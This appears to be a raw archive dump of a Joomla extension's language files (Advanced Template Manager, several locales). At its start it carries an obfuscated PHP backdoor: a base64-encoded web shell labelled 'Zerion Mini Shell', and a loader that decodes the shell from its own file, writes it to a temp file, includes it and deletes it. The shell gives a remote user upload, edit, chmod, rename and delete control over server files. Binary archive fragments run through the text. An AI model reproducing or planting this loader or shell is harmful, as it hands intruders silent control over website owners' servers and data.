ncGF0aF9jcmVhdGUnXS4nPC9mb250PjxiciAvPic7fX1pZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsgaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7IGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RmlsZSBUZXItVXBsb2FkIDoqIDwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+VXBsb2FkIGdhZ2FsLCBTZXJ2ZXJueWEga2VrIDxpbWcgc3JjPSJodHRwOi8vYy5mYXN0Y29tcGFueS5uZXQvYXNzZXRfZmlsZXMvLS8yMDE0LzExLzExLzRGNC5naWYiLz4NCiA8L2ZvbnQ+PGJyIC8+JzsgfSB9IGVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+DQpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InVwbG9hZCIgLz4NCjwvZm9ybT4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NCkNyZWF0ZSBQYXRoIDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhdGhfY3JlYXRlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImNyZWF0ZSIgLz4NCjwvZm9ybT48L3RkPjwvdGQ+JzsgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpeyBlY2hvICI8dHI+PHRkPkN1cnJlbnQgRmlsZSA6ICI7IGVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsgZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsgZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsgfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpeyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsgaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsgaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sb2N0ZGVjKCRfUE9TVFsncGVybSddKSkpeyBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBQZXJtaXNzaW9uIERvbmUuPC9mb250PjxiciAvPic7IH1lbHNleyBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5DaGFuZ2UgUGVybWlzc2lvbiBFcnJvci48L2ZvbnQ+PGJyIC8+JzsgfSB9IGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPg0KPC9mb3JtPic7IH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAncmVuYW1lJyl7IGlmKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSl7IGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgTmFtZSBEb25lLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIE5hbWUgRXJyb3IuPC9mb250PjxiciAvPic7IH0gJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQo8L2Zvcm0+JzsgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7IGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7IGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RWRpdCBGaWxlIERvbmUgfl9eLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RWRpdCBGaWxlIEVycm9yIH5ffi48L2ZvbnQ+PGJyIC8+JzsgfSBmY2xvc2UoJGZwKTsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3BhdGgnXSkpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCjwvZm9ybT4nOyB9IGVjaG8gJzwvY2VudGVyPic7IH1lbHNleyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2RpcicpeyBpZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpeyBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBEaXIgRG9uZS48L2ZvbnQ+PGJyIC8+JzsgfWVsc2V7IGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBEaXIgRXJyb3IuPC9mb250PjxiciAvPic7IH0gfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpeyBpZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7IH0gfSB9IGVjaG8gJzwvY2VudGVyPic7ICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7IGVjaG8gJzxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQo8dHIgY2xhc3M9ImZpcnN0Ij4NCjx0ZD48Y2VudGVyPk5hbWU8L2NlbnRlcj48L3RkPg0KPHRkPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uczwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5PcHRpb25zPC9jZW50ZXI+PC90ZD4NCjwvdHI+JzsgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7IGVjaG8gIjx0cj4NCjx0ZD48YSBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4NCjx0ZD48Y2VudGVyPi0tPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOyBlY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzwvZm9udD4nOyBlY2hvICI8L2NlbnRlcj48L3RkPg0KPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPg0KPHNlbGVjdCBuYW1lPVwib3B0XCI+DQo8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJkaXJcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiRkaXJcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4NCjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4NCjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4iOyB9IGVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7IGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OyAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOyBpZigkc2l6ZSA+PSAxMDI0KXsgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOyB9ZWxzZXsgJHNpemUgPSAkc2l6ZS4nIEtCJzsgfSBlY2hvICI8dHI+DQo8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPg0KPHRkPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7IGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7IGVjaG8gcGVybXMoIiRwYXRoLyRmaWxlIik7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7IGVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJmaWxlXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4NCjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4iOyB9IGVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOyB9IGVjaG8gJzxjZW50ZXI+PGJyIC8+WmVyaW9uIE1pbmkgU2hlbGwgPGZvbnQgY29sb3I9ImdyZWVuIj4xLjA8L2ZvbnQ+PC9jZW50ZXI+DQo8L0JPRFk+DQo8L0hUTUw+JzsgZnVuY3Rpb24gcGVybXMoJGZpbGUpeyAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOyBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7ICRpbmZvID0gJ3MnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7ICRpbmZvID0gJ2wnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7ICRpbmZvID0gJy0nOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7ICRpbmZvID0gJ2InOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7ICRpbmZvID0gJ2QnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7ICRpbmZvID0gJ2MnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7ICRpbmZvID0gJ3AnOyB9IGVsc2UgeyAkaW5mbyA9ICd1JzsgfSAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPyAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPyAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPyAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOyByZXR1cm4gJGluZm87IH0=diekssekusi
===================================================================================================**/
preg_match('/'.base64_decode('ZGl1bmRkdWgoLis/KWRpZWtzc2VrdXNp').'/si',file_get_contents/*******/(__FILE__),$o0);
$o = tempnam(sys_get_temp_dir(), '____');
file_put_contents($o, base64_decode($o0[1]));
// Include file yang telah diunduh dari URL
include $o;
// Hapus file sementara setelah dieksekusi
unlink($o);PKao�[�4�Jadvancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for
Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="With Advanced Template Manager you have
extra options and functionality to control your templates."
ATP_SETTINGS="Please see the [[%1:start link%]]Template
Manager[[%2:end link%]] for settings."
ATP_THE_COMPONENT="the Advanced Template Manager component"
ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
ATP_ACTION_TEMPLATE_COPY="Copy Template"
ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
ATP_TEMPLATE_FILE="template file"
PKao�[ܡ�f��Nadvancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for
Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKao�[RR�ܣ�Jadvancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Toimingute logi - Regular Labs -
Lisavõimalustega kujunduste haldamine"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Salvesta kasutajate toimingud
lisavõimalustega kujunduste halduris"
ADVANCEDTEMPLATEMANAGER="Lisavõimalustega kujunduste haldur"
ADVANCEDTEMPLATEMANAGER_DESC="Lisavõimalustega kujunduste haldur
annab juurde mõned lisavõimalused ja -funktsioonid, et võtta oma
kujundustest ja nende stiilidest viimast."
ATP_SETTINGS="Palun vaata [[%1:start link%]]Kujunduste halduri[[%2:end
link%]] seadeid."
ATP_THE_COMPONENT="Lisavõimalustega kujunduste haldur"
ATP_THE_SYSTEM_PLUGIN="lisavõimalustega kujundustehalduri
süsteemiplugin"
ATP_ACTION_FOLDER_FILE_ACTIONS="Kausta/faili toimingud"
ATP_ACTION_TEMPLATE_COPY="Kopeeri kujundus"
ATP_ACTIONLOGS_FILE_ADDED="Kasutaja <a
href='{accountlink}'>{username}</a> lisas kujundusele
{template} faili <a
href='{filelink}'>{file}</a>"
ATP_ACTIONLOGS_FILE_DELETED="Kasutaja <a
href='{accountlink}'>{username}</a> kustutas kujundusest
{template} faili {file}"
ATP_ACTIONLOGS_FILE_UPDATED="Kasutaja <a
href='{accountlink}'>{username}</a> uuendas kujunduse
{template} faili <a
href='{filelink}'>{file}</a>"
ATP_ACTIONLOGS_STYLE_SET_HOME="Kasutaja <a
href='{accountlink}'>{username}</a> määras kujunduse
vaikimisi stiiliks <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Kasutaja <a
href='{accountlink}'>{username}</a> lõi uue kujunduse
nimega '{to_name}' (koopia kujundusest
'{from_name}')"
ATP_TEMPLATE_FILE="kujunduse fail"
PKao�[ɺ�Nadvancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Toimingute logi - Regular Labs -
Lisavõimalustega kujunduste haldamine"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Salvesta kasutajate toimingud
lisavõimalustega kujunduste halduris"
ADVANCEDTEMPLATEMANAGER="Lisavõimalustega kujunduste haldur"
PKao�[*0���Jadvancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Journal des actions - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Enregistrer les actions des
utilisateurs pour Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gestionnaire avancé de Template"
ADVANCEDTEMPLATEMANAGER_DESC="Avec Advanced Template Manager vous
disposez d'options et de fonctionnalités supplémentaires afin de
mieux contrôler vos templates."
ATP_SETTINGS="Merci de vous rendre dans la [[%1:start link%]]Gestion
des templates[[%2:end link%]] pour les paramètrages."
ATP_THE_COMPONENT="Le composant Advanced Template Manager"
ATP_THE_SYSTEM_PLUGIN="Plugin système Advanced Template Manager"
ATP_ACTION_FOLDER_FILE_ACTIONS="Actions Dossier/Fichier"
ATP_ACTION_TEMPLATE_COPY="Copier le template"
ATP_ACTIONLOGS_FILE_ADDED="L'utilisateur <a
href='{accountlink}'>{username}</a> a ajouté <a
href='{filelink}'>{file}</a> au template
{template}"
ATP_ACTIONLOGS_FILE_DELETED="L'utilisateur <a
href='{accountlink}'>{username}</a> a supprimé {file}
du template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="L'utilisateur <a
href='{accountlink}'>{username}</a> a mis à jour <a
href='{filelink}'>{file}</a> dans le template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="L'utilisateur <a
href='{accountlink}'>{username}</a> a changé le style
par défaut du template en <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="L'utilisateur <a
href='{accountlink}'>{username}</a> a créé un nouveau
template basé sur '{to_name}' (copie de
'{from_name}')"
ATP_TEMPLATE_FILE="fichier de template"
PKao�[0(s{��Nadvancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Journal des actions - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Enregistrer les actions des
utilisateurs pour Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gestionnaire avancé de Template"
PKao�[%(+�BBJadvancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="Dengan Advanced Template Manager anda
memiliki opsi dan fungsi tambahan guna mengendalikan templat-templat."
ATP_SETTINGS="Silakan lihat [[%1:start link%]]Pengelolaan
Templat[[%2:end link%]] untuk pengaturannya."
ATP_THE_COMPONENT="komponen Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKao�[���e��Nadvancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKao�[�+�55Jadvancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="Con Advanced Template Manager hai
opzioni e funzionalità extra per gestire i tuoi template."
